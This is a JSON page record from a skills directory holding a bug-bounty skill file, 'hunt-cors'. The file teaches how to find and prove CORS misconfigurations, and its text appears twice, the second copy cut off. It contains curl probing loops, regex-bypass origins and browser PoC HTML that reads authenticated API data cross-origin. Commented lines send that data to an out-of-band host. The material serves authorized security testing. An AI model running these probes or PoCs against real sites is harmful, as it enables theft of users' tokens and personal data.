[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EKBB1FHB2NX3J8PX82FQAC":3,"skill-same:01M7EKBB1FHB2NX3J8PX82FQAC":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":26,"commitSha":27,"skillDirectory":28,"forksCount":29,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":32,"updatedAt":33,"install":34,"resources":47},"01M7EKBB1FHB2NX3J8PX82FQAC","hunt-cors",null,"Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-cors\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: hunt-cors\ndescription: \"Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers.\"\nreport_count: 19\nsources: hackerone_public\n---\n\n# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration\n\n## What actually pays (and what does not)\n\nCORS pays High **only** when an attacker-controlled origin can perform a\n**credentialed** cross-origin read of sensitive authenticated data, and you\nhave a browser PoC proving the response body is readable from `evil.com`.\n\nTwo hard browser rules that kill most \"findings\" — check these FIRST:\n\n- **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.**\n  If the server returns `ACAO: *`, the browser refuses to send\u002Fexpose the\n  response for a `credentials: include` request. A wildcard-only endpoint is\n  **not** credential-exploitable. It is only interesting if the data it serves\n  is sensitive *without* a session (rare) — usually this is Informational\u002FLow.\n- **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It\n  matters only if `ACAO` reflects\u002Fallows your specific attacker origin AND a\n  cross-origin credentialed `fetch` actually returns a readable body. ACAC on a\n  response that does not reflect your origin proves nothing.\n\nIf you cannot demonstrate a readable cross-origin authed body in a real\nbrowser, you do not have a High. Do not submit header-diffing alone.\n\n---\n\n## Crown Jewel Targets\n\n- **Reflect-any-origin + credentials** — server echoes the `Origin` header AND\n  sets `ACAC: true` → any site reads authed API responses. The classic High.\n- **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a\n  `data:`\u002Fredirect chain) emits `Origin: null`, so any page can read authed data.\n- **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The\n  correct payload depends on *which* flaw (see Phase 3 — this is where most\n  skills get it wrong).\n- **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS\n  policy trusts; take it over, host the PoC there (see hunt-subdomain).\n- **postMessage missing\u002Floose origin check** — handler that processes\n  `event.data` without strictly validating `event.origin`.\n\n---\n\n## Attack Surface Signals\n\n```\nAny endpoint returning an Access-Control-Allow-Origin header\nAPI endpoints:   \u002Fapi\u002F*, \u002Fv1\u002F*, \u002Fgraphql\nProfile\u002Faccount: \u002Fapi\u002Fme, \u002Fapi\u002Fprofile, \u002Fapi\u002Fuser, \u002Fapi\u002Fsession\nSecrets\u002Ftokens:  \u002Fapi\u002Ftokens, \u002Fapi\u002Fkeys, \u002Fapi\u002Fcsrf, \u002Fapi\u002Faccount\u002Fsettings\nFinancial:       \u002Fapi\u002Fbalance, \u002Fapi\u002Ftransactions\nAdmin\u002Finternal:  \u002Fapi\u002Fadmin\u002F*, \u002Fapi\u002Finternal\u002F*\n```\n\nPrioritize endpoints that (a) require a session cookie and (b) return PII,\ntokens, CSRF tokens, or other secrets in the body.\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Discover CORS endpoints\n```bash\n# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,\n# and -I sends HEAD which may be handled differently.\nwhile read url; do\n  result=$(curl -s -D - -o \u002Fdev\u002Fnull \"$url\" \\\n    -H \"Origin: https:\u002F\u002Fevil.com\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  [ -n \"$result\" ] && echo \"=== $url ===\" && echo \"$result\"\ndone \u003C recon\u002F$TARGET\u002Fapi-endpoints.txt\n\n# httpx bulk check\ncat recon\u002F$TARGET\u002Flive-hosts.txt | awk '{print $1}' | \\\n  httpx -H \"Origin: https:\u002F\u002Fevil.com\" -match-string \"access-control-allow-origin\"\n```\n\n### Phase 2 — Reflect-any-origin + null origin\n```bash\n# Does the server reflect an arbitrary Origin back?\ncurl -s -D - -o \u002Fdev\u002Fnull https:\u002F\u002F$TARGET\u002Fapi\u002Fme \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n\n# Vulnerable (the High case):\n#   Access-Control-Allow-Origin: https:\u002F\u002Fevil.com   \u003C- reflects attacker origin\n#   Access-Control-Allow-Credentials: true          \u003C- + credentials => readable\n#\n# NOT exploitable for credentialed theft:\n#   Access-Control-Allow-Origin: *                   \u003C- browser blocks creds read\n#   (no ACAC, or ACAC absent)                        \u003C- not credentialed\n\n# Null-origin trust\ncurl -s -D - -o \u002Fdev\u002Fnull https:\u002F\u002F$TARGET\u002Fapi\u002Fme \\\n  -H \"Origin: null\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n# Looking for:  Access-Control-Allow-Origin: null  +  ACAC: true\n```\n\n### Phase 3 — Subdomain \u002F trusted-origin regex bypass\nThe right payload depends on **which** regex flaw the server has. Identify the\nclass first, then send the matching payload. Getting this wrong wastes the test\nand produces false negatives.\n\n| Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why |\n|---|---|---|---|\n| `^https?:\u002F\u002F.*\\.target\\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. |\n| `^https?:\u002F\u002F.*target\\.com$` | **Missing dot separator** (no `\\.` before `target`) | `https:\u002F\u002Feviltarget.com` | `.*target\\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. |\n| `^https?:\u002F\u002F.*\\.target\\.com` | **Missing end-anchor `$`** | `https:\u002F\u002Fx.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). |\n| `^https?:\u002F\u002Ftarget\\.com` | **Prefix-only, no `$`** | `https:\u002F\u002Ftarget.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. |\n| `^https?:\u002F\u002F.*\\.target\\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = \"any char\" | `https:\u002F\u002FxtargetXcom...` style, or `https:\u002F\u002FevilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. |\n| Any of the above | **Special chars browsers send in Origin** | `https:\u002F\u002Ftarget.com%60.evil.com`, `https:\u002F\u002Ftarget.com\\x60evil.com` | some parsers treat backtick\u002Funderscore as letters; Safari\u002Folder browsers may emit unusual origins. Confirm the browser actually sends it. |\n\n```bash\n# Send each class-specific payload and watch what the server reflects.\nfor ORIGIN in \\\n  \"https:\u002F\u002Fevil.target.com\" \\\n  \"https:\u002F\u002Feviltarget.com\" \\\n  \"https:\u002F\u002Fx.target.com.evil.com\" \\\n  \"https:\u002F\u002Ftarget.com.evil.com\" \\\n  \"https:\u002F\u002Ftarget.com%60.evil.com\" \\\n  \"http:\u002F\u002Ftarget.com\"; do\n  RESULT=$(curl -s -D - -o \u002Fdev\u002Fnull \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" \\\n    -H \"Origin: $ORIGIN\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  echo \"[$ORIGIN] -> ${RESULT:-no CORS}\"\ndone\n```\nA bypass is real only if the server reflects **your registerable origin** into\n`ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless\nyou can actually control a `*.target.com` host (then see Phase 6 \u002F hunt-subdomain).\n\n### Phase 3b — Trusted insecure (HTTP) origin\nIf ACAO reflects\u002Fallows any `http:\u002F\u002F` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw.\n```bash\ncurl -s -D- -o\u002Fdev\u002Fnull \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" -H \"Origin: http:\u002F\u002Fsub.$TARGET\" -H \"Cookie: $SESSION\" | grep -i access-control\n```\nReal only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.)\n\n### Phase 4 — Pre-flight (OPTIONS) gating bypass\nNon-simple requests (custom headers, `PUT`\u002F`DELETE`\u002F`PATCH`, non-simple\n`Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends\nthe real request if the pre-flight response authorizes the method\u002Fheader. Two\nthings to test:\n\n1. **Does the pre-flight authorize arbitrary methods\u002Fheaders for your origin?**\n   If `Access-Control-Allow-Methods` \u002F `Access-Control-Allow-Headers` reflect\n   whatever you ask for, a malicious origin can drive state-changing requests\n   (chain to CSRF-style writes that JSON\u002FSameSite would otherwise block).\n\n```bash\ncurl -s -D - -o \u002Fdev\u002Fnull -X OPTIONS \"https:\u002F\u002F$TARGET\u002Fapi\u002Faccount\u002Femail\" \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: x-custom-auth, content-type\" \\\n  | grep -i \"access-control\"\n# Vulnerable: ACAO reflects evil.com + ACAC:true +\n#   Access-Control-Allow-Methods: PUT  +  Access-Control-Allow-Headers: x-custom-auth\n# => attacker origin can issue authed PUT\u002FDELETE with custom headers.\n```\n\n2. **Is the pre-flight even enforced server-side?** Some servers reflect the\n   origin on `OPTIONS` but the actual GET\u002FPOST also reflects — the read path is\n   the bug; the pre-flight just confirms write-path reach. Test the GET\u002FPOST\n   directly too — never assume the pre-flight result equals the real-request\n   result. Confirm in a browser, because curl ignores CORS entirely.\n\n### Phase 5 — Browser PoCs (the only thing that proves impact)\ncurl does NOT enforce CORS — it will happily show you a reflected header even\nwhen a browser would block the read. **Every CORS High needs a browser PoC.**\n\n**5a. Reflect-any-origin read** (host on evil.com, open while logged into target):\n```html\n\u003C!doctype html>\u003Cbody>\u003Cpre id=\"out\">\u003C\u002Fpre>\n\u003Cscript>\nfetch(\"https:\u002F\u002FTARGET\u002Fapi\u002Fme\", {credentials: \"include\"})\n  .then(r => r.text())\n  .then(d => {\n    document.getElementById(\"out\").innerText = d;        \u002F\u002F prove readable body\n    \u002F\u002F OOB proof: fetch(\"https:\u002F\u002FOOB-ID.oastify.com\u002F?d=\"+encodeURIComponent(d));\n  })\n  .catch(e => document.getElementById(\"out\").innerText = \"BLOCKED: \" + e);\n\u003C\u002Fscript>\u003C\u002Fbody>\n```\nIf you see `BLOCKED` \u002F a TypeError, the browser refused the read — it is NOT a\nvalid finding regardless of what curl showed (this is the `ACAO: *` + creds case).\n\n**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner\ndocument must lack `allow-same-origin` so its origin is opaque (`null`):\n```html\n\u003C!doctype html>\u003Cbody>\n\u003C!-- Outer page hosted anywhere -->\n\u003Ciframe sandbox=\"allow-scripts\" srcdoc='\n  \u003Cscript>\n    fetch(\"https:\u002F\u002FTARGET\u002Fapi\u002Fme\", {credentials: \"include\"})\n      .then(r => r.text())\n      .then(d => parent.postMessage(d, \"*\"));\n  &lt;\u002Fscript&gt;'>\u003C\u002Fiframe>\n\u003Cscript>\nwindow.addEventListener(\"message\", e => {\n  \u002F\u002F d is the authed body, read cross-origin via a null Origin\n  \u002F\u002F fetch(\"https:\u002F\u002FOOB-ID.oastify.com\u002F?d=\"+encodeURIComponent(e.data));\n  console.log(\"NULL-ORIGIN READ:\", e.data);\n});\n\u003C\u002Fscript>\u003C\u002Fbody>\n```\n(Alternative null-origin emitters: a `data:` \u002F `blob:` document, or bouncing the\nrequest through a 302 redirect chain whose final hop is cross-scheme.)\n\n**5c. Trusted-subdomain read** — once you control a host that the regex trusts\n(real subdomain via takeover, or a registerable origin that matches a buggy\nregex from Phase 3), host **5a** there. The reflected origin is now an origin\nyou legitimately serve, so the browser allows the read.\n\n### Phase 6 — postMessage origin check\n```bash\n# Find message handlers that don't strictly validate event.origin.\ngrep -rEn \"addEventListener\\(['\\\"]message\" recon\u002F$TARGET\u002F --include=\"*.js\" \\\n  | grep -v \"\\.origin\"\n# Then audit each hit: does it check event.origin against an allowlist\n# BEFORE using event.data? Weak checks to flag:\n#   .indexOf(\"target.com\") > -1      \u003C- \"target.com.evil.com\" passes\n#   .endsWith(\"target.com\")          \u003C- \"eviltarget.com\" passes\n#   startsWith(\"https:\u002F\u002Ftarget\")     \u003C- \"https:\u002F\u002Ftarget.evil.com\" passes\n#   no check at all\n```\npostMessage is a separate class from HTTP CORS — impact is DOM-side (XSS,\nclient-side auth bypass). See hunt-dom for exploitation depth.\n\n---\n\n## Automation (triage only — never the proof)\n```bash\n# corsy — fast reflection\u002Fnull\u002Fpre-domain checks\npip3 install corsy\ncorsy -u https:\u002F\u002F$TARGET -t 10 --headers \"Cookie: $SESSION_COOKIE\"\n\n# nuclei CORS templates\nnuclei -u https:\u002F\u002F$TARGET -t http\u002Fmisconfiguration\u002Fcors\u002F\n\n# Burp: passively flags origin reflection; always re-confirm in a real browser.\n```\nEvery automated hit is a lead, not a finding. Reproduce 5a\u002F5b in a browser.\n\n---\n\n## Chain Table\n\n| CORS finding | Chain to | Impact |\n|---|---|---|\n| Reflects attacker origin + creds | Browser-read `\u002Fapi\u002Fme`, `\u002Fapi\u002Ftokens`, `\u002Fapi\u002Fcsrf` | PII + token + CSRF-token theft → often ATO |\n| Reflects origin + reads CSRF token | hunt-csrf: steal token → forge state change | CSRF on CSRF-protected forms |\n| Pre-flight allows arbitrary method\u002Fheader | Drive authed `PUT`\u002F`DELETE` from evil origin | Cross-origin state change |\n| Trusted subdomain has XSS | hunt-xss → run 5a from trusted origin | Reliable credentialed read |\n| Dangling trusted subdomain | hunt-subdomain takeover → host 5c there | Full credentialed read |\n| postMessage no\u002Floose origin check | hunt-dom: inject iframe, send crafted message | DOM XSS \u002F client auth bypass |\n\n---\n\n## Validation discipline (read before submitting)\n\n- **Browser proof mandatory.** curl reflecting a header is NOT exploitation.\n  Show a screenshot\u002Fconsole log of the authed body read from `evil.com`. If the\n  fetch throws \u002F logs `BLOCKED`, you have nothing.\n- **`ACAO: *` + credentials = not a finding.** Browsers block it. Only pursue\n  wildcard if the data is sensitive unauthenticated (then it is usually Low).\n- **`ACAC: true` alone proves nothing** — it must pair with your reflected\n  origin AND a successful readable cross-origin body.\n- **Match the regex class to the payload (Phase 3).** Do not submit\n  `target.com.evil.com` against an end-anchored escaped-dot regex — it does not\n  match and is not a bug.\n- **`evil.target.com` reflecting is not automatically a bug** — it is an\n  in-scope subdomain by design unless you can actually control it.\n- **OOB confirmation** for blind\u002Fheadless contexts: exfil the read body to a\n  Burp Collaborator \u002F oastify host and show the interaction. Use a unique\n  per-test marker so the hit is unambiguously yours.\n- **Sensitive data requirement.** A readable `\u002Fapi\u002Fhealth` is not High. Tie the\n  read to PII, tokens, secrets, or financial data to justify severity.\n\n**Severity:**\n- Reflects attacker origin + creds + sensitive body, browser-proven: High\n- Pre-flight authorizes attacker-origin state change on sensitive action: High\n- Null-origin + sensitive authed body, browser-proven: Medium–High\n- Subdomain-takeover\u002FXSS-assisted credentialed read: High\u002FCritical\n- Reflects origin, no credentials \u002F non-sensitive: Low–Informational\n- `ACAO: *` only (no creds possible): Informational unless data is secret\n","# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration\n\n## What actually pays (and what does not)\n\nCORS pays High **only** when an attacker-controlled origin can perform a\n**credentialed** cross-origin read of sensitive authenticated data, and you\nhave a browser PoC proving the response body is readable from `evil.com`.\n\nTwo hard browser rules that kill most \"findings\" — check these FIRST:\n\n- **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.**\n  If the server returns `ACAO: *`, the browser refuses to send\u002Fexpose the\n  response for a `credentials: include` request. A wildcard-only endpoint is\n  **not** credential-exploitable. It is only interesting if the data it serves\n  is sensitive *without* a session (rare) — usually this is Informational\u002FLow.\n- **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It\n  matters only if `ACAO` reflects\u002Fallows your specific attacker origin AND a\n  cross-origin credentialed `fetch` actually returns a readable body. ACAC on a\n  response that does not reflect your origin proves nothing.\n\nIf you cannot demonstrate a readable cross-origin authed body in a real\nbrowser, you do not have a High. Do not submit header-diffing alone.\n\n---\n\n## Crown Jewel Targets\n\n- **Reflect-any-origin + credentials** — server echoes the `Origin` header AND\n  sets `ACAC: true` → any site reads authed API responses. The classic High.\n- **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a\n  `data:`\u002Fredirect chain) emits `Origin: null`, so any page can read authed data.\n- **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The\n  correct payload depends on *which* flaw (see Phase 3 — this is where most\n  skills get it wrong).\n- **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS\n  policy trusts; take it over, host the PoC there (see hunt-subdomain).\n- **postMessage missing\u002Floose origin check** — handler that processes\n  `event.data` without strictly validating `event.origin`.\n\n---\n\n## Attack Surface Signals\n\n```\nAny endpoint returning an Access-Control-Allow-Origin header\nAPI endpoints:   \u002Fapi\u002F*, \u002Fv1\u002F*, \u002Fgraphql\nProfile\u002Faccount: \u002Fapi\u002Fme, \u002Fapi\u002Fprofile, \u002Fapi\u002Fuser, \u002Fapi\u002Fsession\nSecrets\u002Ftokens:  \u002Fapi\u002Ftokens, \u002Fapi\u002Fkeys, \u002Fapi\u002Fcsrf, \u002Fapi\u002Faccount\u002Fsettings\nFinancial:       \u002Fapi\u002Fbalance, \u002Fapi\u002Ftransactions\nAdmin\u002Finternal:  \u002Fapi\u002Fadmin\u002F*, \u002Fapi\u002Finternal\u002F*\n```\n\nPrioritize endpoints that (a) require a session cookie and (b) return PII,\ntokens, CSRF tokens, or other secrets in the body.\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Discover CORS endpoints\n```bash\n# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,\n# and -I sends HEAD which may be handled differently.\nwhile read url; do\n  result=$(curl -s -D - -o \u002Fdev\u002Fnull \"$url\" \\\n    -H \"Origin: https:\u002F\u002Fevil.com\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  [ -n \"$result\" ] && echo \"=== $url ===\" && echo \"$result\"\ndone \u003C recon\u002F$TARGET\u002Fapi-endpoints.txt\n\n# httpx bulk check\ncat recon\u002F$TARGET\u002Flive-hosts.txt | awk '{print $1}' | \\\n  httpx -H \"Origin: https:\u002F\u002Fevil.com\" -match-string \"access-control-allow-origin\"\n```\n\n### Phase 2 — Reflect-any-origin + null origin\n```bash\n# Does the server reflect an arbitrary Origin back?\ncurl -s -D - -o \u002Fdev\u002Fnull https:\u002F\u002F$TARGET\u002Fapi\u002Fme \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n\n# Vulnerable (the High case):\n#   Access-Control-Allow-Origin: https:\u002F\u002Fevil.com   \u003C- reflects attacker origin\n#   Access-Control-Allow-Credentials: true          \u003C- + credentials => readable\n#\n# NOT exploitable for credentialed theft:\n#   Access-Control-Allow-Origin: *                   \u003C- browser blocks creds read\n#   (no ACAC, or ACAC absent)                        \u003C- not credentialed\n\n# Null-origin trust\ncurl -s -D - -o \u002Fdev\u002Fnull https:\u002F\u002F$TARGET\u002Fapi\u002Fme \\\n  -H \"Origin: null\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n# Looking for:  Access-Control-Allow-Origin: null  +  ACAC: true\n```\n\n### Phase 3 — Subdomain \u002F trusted-origin regex bypass\nThe right payload depends on **which** regex flaw the server has. Identify the\nclass first, then send the matching payload. Getting this wrong wastes the test\nand produces false negatives.\n\n| Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why |\n|---|---|---|---|\n| `^https?:\u002F\u002F.*\\.target\\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. |\n| `^https?:\u002F\u002F.*target\\.com$` | **Missing dot separator** (no `\\.` before `target`) | `https:\u002F\u002Feviltarget.com` | `.*target\\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. |\n| `^https?:\u002F\u002F.*\\.target\\.com` | **Missing end-anchor `$`** | `https:\u002F\u002Fx.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). |\n| `^https?:\u002F\u002Ftarget\\.com` | **Prefix-only, no `$`** | `https:\u002F\u002Ftarget.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. |\n| `^https?:\u002F\u002F.*\\.target\\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = \"any char\" | `https:\u002F\u002FxtargetXcom...` style, or `https:\u002F\u002FevilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. |\n| Any of the above | **Special chars browsers send in Origin** | `https:\u002F\u002Ftarget.com%60.evil.com`, `https:\u002F\u002Ftarget.com\\x60evil.com` | some parsers treat backtick\u002Funderscore as letters; Safari\u002Folder browsers may emit unusual origins. Confirm the browser actually sends it. |\n\n```bash\n# Send each class-specific payload and watch what the server reflects.\nfor ORIGIN in \\\n  \"https:\u002F\u002Fevil.target.com\" \\\n  \"https:\u002F\u002Feviltarget.com\" \\\n  \"https:\u002F\u002Fx.target.com.evil.com\" \\\n  \"https:\u002F\u002Ftarget.com.evil.com\" \\\n  \"https:\u002F\u002Ftarget.com%60.evil.com\" \\\n  \"http:\u002F\u002Ftarget.com\"; do\n  RESULT=$(curl -s -D - -o \u002Fdev\u002Fnull \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" \\\n    -H \"Origin: $ORIGIN\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  echo \"[$ORIGIN] -> ${RESULT:-no CORS}\"\ndone\n```\nA bypass is real only if the server reflects **your registerable origin** into\n`ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless\nyou can actually control a `*.target.com` host (then see Phase 6 \u002F hunt-subdomain).\n\n### Phase 3b — Trusted insecure (HTTP) origin\nIf ACAO reflects\u002Fallows any `http:\u002F\u002F` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw.\n```bash\ncurl -s -D- -o\u002Fdev\u002Fnull \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" -H \"Origin: http:\u002F\u002Fsub.$TARGET\" -H \"Cookie: $SESSION\" | grep -i access-control\n```\nReal only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.)\n\n### Phase 4 — Pre-flight (OPTIONS) gating bypass\nNon-simple requests (custom headers, `PUT`\u002F`DELETE`\u002F`PATCH`, non-simple\n`Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends\nthe real request if the pre-flight response authorizes the method\u002Fheader. Two\nthings to test:\n\n1. **Does the pre-flight authorize arbitrary methods\u002Fheaders for your origin?**\n   If `Access-Control-Allow-Methods` \u002F `Access-Control-Allow-Headers` reflect\n   whatever you ask for, a malicious origin can drive state-changing requests\n   (chain to CSRF-style writes that JSON\u002FSameSite would otherwise block).\n\n```bash\ncurl -s -D - -o \u002Fdev\u002Fnull -X OPTIONS \"https:\u002F\u002F$TARGET\u002Fapi\u002Faccount\u002Femail\" \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: x-custom-auth, content-type\" \\\n  | grep -i \"access-control\"\n# Vulnerable: ACAO reflects evil.com + ACAC:true +\n#   Access-Control-Allow-Methods: PUT  +  Access-Control-Allow-Headers: x-custom-auth\n# => attacker origin can issue authed PUT\u002FDELETE with custom headers.\n```\n\n2. **Is the pre-flight even enforced server-side?** Some servers reflect the\n   origin on `OPTIONS` but the actual GET\u002FPOST also reflects — the read path is\n   the bug; the pre-flight just confirms write-path reach. Test the GET\u002FPOST\n   directly too — never assume the pre-flight result equals the real-request\n   result. Confirm in a browser, because curl ignores CORS entirely.\n\n### Phase 5 — Browser PoCs (the only thing that proves impact)\ncurl does NOT enforce CORS — it will happily show you a reflected header even\nwhen a browser would block the read. **Every CORS High needs a browser PoC.**\n\n**5a. Reflect-any-origin read** (host on evil.com, open while logged into target):\n```html\n\u003C!doctype html>\u003Cbody>\u003Cpre id=\"out\">\u003C\u002Fpre>\n\u003Cscript>\nfetch(\"https:\u002F\u002FTARGET\u002Fapi\u002Fme\", {credentials: \"include\"})\n  .then(r => r.text())\n  .then(d => {\n    document.getElementById(\"out\").innerText = d;        \u002F\u002F prove readable body\n    \u002F\u002F OOB proof: fetch(\"https:\u002F\u002FOOB-ID.oastify.com\u002F?d=\"+encodeURIComponent(d));\n  })\n  .catch(e => document.getElementById(\"out\").innerText = \"BLOCKED: \" + e);\n\u003C\u002Fscript>\u003C\u002Fbody>\n```\nIf you see `BLOCKED` \u002F a TypeError, the browser refused the read — it is NOT a\nvalid finding regardless of what curl showed (this is the `ACAO: *` + creds case).\n\n**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner\ndocument must lack `allow-same-origin` so its origin is opaque (`null`):\n```html\n\u003C!doctype html>\u003Cbody>\n\u003C!-- Outer page hosted anywhere -->\n\u003Ciframe sandbox=\"allow-scripts\" srcdoc='\n  \u003Cscript>\n    fetch(\"https:\u002F\u002FTARGET\u002Fapi\u002Fme\", {credentials: \"include\"})\n      .then(r => r.text())\n      .then(d => parent.postMessage(d, \"*\"));\n  &lt;\u002Fscript&gt;'>\u003C\u002Fiframe>\n\u003Cscript>\nwindow.addEventListener(\"message\", e => {\n  \u002F\u002F d is the authed body, read cross-origin via a null Origin\n  \u002F\u002F fetch(\"https:\u002F\u002FOOB-ID.oastify.com\u002F?d=\"+encodeURIComponent(e.data));\n  console.log(\"NULL-ORIGIN READ:\", e.data);\n});\n\u003C\u002Fscript>\u003C\u002Fbody>\n```\n(Alternative null-origin emitters: a `data:` \u002F `blob:` document, or bouncing the\nrequest through a 302 redirect chain whose final hop is cross-scheme.)\n\n**5c. Trusted-subdomain read** — once you control a host that the regex trusts\n(real subdomain via takeover, or a registerable origin that matches a buggy\nregex from Phase 3), host **5a** there. The reflected origin is now an origin\nyou legitimately serve, so the browser allows the read.\n\n### Phase 6 — postMessage origin check\n```bash\n# Find message handlers that don't strictly validate event.origin.\ngrep -rEn \"addEventListener\\(['\\\"]message\" recon\u002F$TARGET\u002F --include=\"*.js\" \\\n  | grep -v \"\\.origin\"\n# Then audit each hit: does it check event.origin against an allowlist\n# BEFORE using event.data? Weak checks to flag:\n#   .indexOf(\"target.com\") > -1      \u003C- \"target.com.evil.com\" passes\n#   .endsWith(\"target.com\")          \u003C- \"eviltarget.com\" passes\n#   startsWith(\"https:\u002F\u002Ftarget\")     \u003C- \"https:\u002F\u002Ftarget.evil.com\" passes\n#   no check at all\n```\npostMessage is a separate class from HTTP CORS — impact is DOM-side (XSS,\nclient-side auth bypass). See hunt-dom for exploitation depth.\n\n---\n\n## Automation (triage only — never the proof)\n```bash\n# corsy — fast reflection\u002Fnull\u002Fpre-domain checks\npip3 install corsy\ncorsy -u https:\u002F\u002F$TARGET -t 10 --headers \"Cookie: $SESSION_COOKIE\"\n\n# nuclei CORS templates\nnuclei -u https:\u002F\u002F$TARGET -t http\u002Fmisconfiguration\u002Fcors\u002F\n\n# Burp: passively flags origin reflection; always re-confirm in a real browser.\n```\nEvery automated hit is a lead, not a finding. Reproduce 5a\u002F5b in a browser.\n\n---\n\n## Chain Table\n\n| CORS finding | Chain to | Impact |\n|---|---|---|\n| Reflects attacker origin + creds | Browser-read `\u002Fapi\u002Fme`, `\u002Fapi\u002Ftokens`, `\u002Fapi\u002Fcsrf` | PII + token + CSRF-token theft → often ATO |\n| Reflects origin + reads CSRF token | hunt-csrf: steal token → forge state change | CSRF on CSRF-protected forms |\n| Pre-flight allows arbitrary method\u002Fheader | Drive authed `PUT`\u002F`DELETE` from evil origin | Cross-origin state change 